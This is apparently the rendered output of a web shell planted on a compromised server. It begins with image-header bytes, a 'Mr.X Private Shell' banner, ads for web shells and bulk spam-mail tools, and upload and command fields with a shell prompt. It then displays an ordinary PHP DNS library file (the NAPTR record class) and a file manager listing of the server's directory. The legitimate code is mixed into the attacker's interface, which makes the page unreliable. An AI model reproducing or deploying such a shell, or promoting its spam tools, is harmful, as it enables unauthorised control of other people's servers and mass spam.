����JFIF��������� Mr.X 
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        

            For_More_Tools:
            
                Telegram: @jackleet | Bulk Smtp support mail sender  | Business Mail Collector  |  Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private

Upload:

Command:

antiaginglove@216.73.216.231: ~ $ 
<?php

declare(strict_types=1);

/*
 * This file is part of Badcow DNS Library.
 *
 * (c) Samuel Williams <sam@badcow.co>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Badcow\DNS\Rdata;

use Badcow\DNS\Message;
use Badcow\DNS\Parser\Tokens;
use Badcow\DNS\Validator;

/**
 * {@link https://tools.ietf.org/html/rfc3403}.
 */
class NAPTR implements RdataInterface
{
    use RdataTrait;

    public const TYPE = 'NAPTR';
    public const TYPE_CODE = 35;

    /**
     * A 16-bit unsigned integer specifying the order in which the NAPTR
     * records MUST be processed in order to accurately represent the
     * ordered list of Rules.  The ordering is from lowest to highest.
     * If two records have the same order value then they are considered
     * to be the same rule and should be selected based on the
     * combination of the Preference values and Services offered.
     *
     * @var int|null
     */
    private $order;

    /**
     * It is a 16-bit unsigned integer that specifies the order in which
     * NAPTR records with equal Order values SHOULD be processed, low
     * numbers being processed before high numbers.
     *
     * @var int
     */
    private $preference;

    /**
     * A <character-string> containing flags to control aspects of the
     * rewriting and interpretation of the fields in the record.  Flags
     * are single characters from the set A-Z and 0-9.  The case of the
     * alphabetic characters is not significant.  The field can be empty.
     *
     * @var string|null
     */
    private $flags;

    /**
     * A <character-string> that specifies the Service Parameters
     * applicable to this this delegation path.  It is up to the
     * Application Specification to specify the values found in this
     * field.
     *
     * @var string|null
     */
    private $services;

    /**
     * A <character-string> containing a substitution expression that is
     * applied to the original string held by the client in order to
     * construct the next domain name to lookup.
     *
     * @var string|null
     */
    private $regexp;

    /**
     * A <domain-name> which is the next domain-name to query for
     * depending on the potential values found in the flags field.  This
     * field is used when the regular expression is a simple replacement
     * operation.  Any value in this field MUST be a fully qualified
     * domain-name.
     *
     * @var string
     */
    private $replacement;

    /**
     * @return int
     */
    public function getOrder(): ?int
    {
        return $this->order;
    }

    /**
     * @throws \InvalidArgumentException
     */
    public function setOrder(int $order): void
    {
        if ($order < 0 || $order > 65535) {
            throw new \InvalidArgumentException(sprintf('$order must be between 0 and 65535. "%d" given.', $order));
        }

        $this->order = $order;
    }

    /**
     * @return int
     */
    public function getPreference(): ?int
    {
        return $this->preference;
    }

    /**
     * @throws \InvalidArgumentException
     */
    public function setPreference(int $preference): void
    {
        if ($preference < 0 || $preference > 65535) {
            throw new \InvalidArgumentException(sprintf('$preference must be between 0 and 65535. "%d" given.', $preference));
        }

        $this->preference = $preference;
    }

    /**
     * @return string
     */
    public function getFlags(): ?string
    {
        return $this->flags;
    }

    /**
     * @param string $flags
     */
    public function setFlags(?string $flags): void
    {
        $this->flags = $flags;
    }

    /**
     * @return string
     */
    public function getServices(): ?string
    {
        return $this->services;
    }

    /**
     * @param string $services
     */
    public function setServices(?string $services): void
    {
        $this->services = $services;
    }

    /**
     * @return string
     */
    public function getRegexp(): ?string
    {
        return $this->regexp;
    }

    /**
     * @param string $regexp
     */
    public function setRegexp(?string $regexp): void
    {
        $this->regexp = $regexp;
    }

    /**
     * @return string
     */
    public function getReplacement(): ?string
    {
        return $this->replacement;
    }

    public function setReplacement(string $replacement): void
    {
        if (!Validator::resourceRecordName($replacement) && !Validator::fullyQualifiedDomainName($replacement) && '.' !== $replacement) {
            throw new \InvalidArgumentException(sprintf('Replacement must be a valid resource name. "%s" given.', $replacement));
        }

        $this->replacement = $replacement;
    }

    public function toText(): string
    {
        return sprintf(
            '%d %d "%s" "%s" "%s" %s',
            $this->order,
            $this->preference,
            $this->flags ?? '',
            $this->services ?? '',
            $this->regexp,
            $this->replacement
        );
    }

    public function toWire(): string
    {
        $encoded = pack('nn', $this->order, $this->preference);
        $encoded .= sprintf('"%s""%s""%s"', $this->flags ?? '', $this->services ?? '', $this->regexp);
        $encoded .= Message::encodeName($this->replacement);

        return $encoded;
    }

    public function fromText(string $text): void
    {
        $rdata = explode(Tokens::SPACE, $text);
        $this->setOrder((int) array_shift($rdata));
        $this->setPreference((int) array_shift($rdata));
        $this->setFlags(trim((string) array_shift($rdata), Tokens::DOUBLE_QUOTES));
        $this->setServices(trim((string) array_shift($rdata), Tokens::DOUBLE_QUOTES));
        $this->setRegexp(trim((string) array_shift($rdata), Tokens::DOUBLE_QUOTES));
        $this->setReplacement((string) array_shift($rdata));
    }

    public function fromWire(string $rdata, int &$offset = 0, ?int $rdLength = null): void
    {
        if (false === $integers = unpack('nOrder/nPreference', $rdata, $offset)) {
            throw new DecodeException(static::TYPE, $rdata);
        }
        $offset += 4;

        $this->setOrder($integers['Order']);
        $this->setPreference($integers['Preference']);
        $this->setFlags(self::extractText($rdata, $offset));
        $this->setServices(self::extractText($rdata, $offset));
        $this->setRegexp(self::extractText($rdata, $offset));
        $this->setReplacement(Message::decodeName($rdata, $offset));
    }

    /**
     * Extract text from within quotation marks and advance the offset.
     */
    private static function extractText(string $string, int &$offset): string
    {
        if (Tokens::DOUBLE_QUOTES !== $char = substr($string, $offset, 1)) {
            throw new \InvalidArgumentException(sprintf('The starting point of $string must be double quotes. "%s" given.', $char));
        }

        $value = '';
        ++$offset;

        while (Tokens::DOUBLE_QUOTES !== $char = substr($string, $offset, 1)) {
            $value .= $char;
            ++$offset;
        }

        ++$offset;

        return $value;
    }
}

Filemanager

DIR : / usr/ local/ jetapps/ var/ lib/ 3rdparty/ Badcow/ DNS/ Rdata/
Name Type Size Permission Actions
A.php File 1.94 KB 0644
AAAA.php File 1.07 KB 0644
AFSDB.php File 2.2 KB 0644
APL.php File 4.12 KB 0644
CAA.php File 4.06 KB 0644
CDNSKEY.php File 450 B 0644
CDS.php File 431 B 0644
CERT.php File 5.49 KB 0644
CNAME.php File 1.33 KB 0644
CSYNC.php File 2.46 KB 0644
DHCID.php File 5.65 KB 0644
DLV.php File 455 B 0644
DNAME.php File 674 B 0644
DNSKEY.php File 1.02 KB 0644
DS.php File 3.93 KB 0644
DecodeException.php File 933 B 0644
Factory.php File 17.37 KB 0644
HINFO.php File 2.19 KB 0644
HIP.php File 4.4 KB 0644
IPSECKEY.php File 9.34 KB 0644
KEY.php File 3.25 KB 0644
KX.php File 2.45 KB 0644
LOC.php File 7.36 KB 0644
MX.php File 2.46 KB 0644
NAPTR.php File 7.06 KB 0644
NS.php File 442 B 0644
NSEC.php File 4.13 KB 0644
NSEC3.php File 8.09 KB 0644
NSEC3PARAM.php File 3.65 KB 0644
OPT.php File 2.79 KB 0644
PTR.php File 4.24 KB 0644
PolymorphicRdata.php File 2.02 KB 0644
RP.php File 1.82 KB 0644
RRSIG.php File 8.04 KB 0644
RdataInterface.php File 1.7 KB 0644
RdataTrait.php File 803 B 0644
SIG.php File 378 B 0644
SOA.php File 5.78 KB 0644
SPF.php File 432 B 0644
SRV.php File 4.61 KB 0644
SSHFP.php File 3.36 KB 0644
TA.php File 441 B 0644
TKEY.php File 7.41 KB 0644
TLSA.php File 4.69 KB 0644
TSIG.php File 6.5 KB 0644
TXT.php File 3.44 KB 0644
Types.php File 10.33 KB 0644
URI.php File 3.67 KB 0644
UnknownType.php File 2.2 KB 0644
UnsupportedTypeException.php File 477 B 0644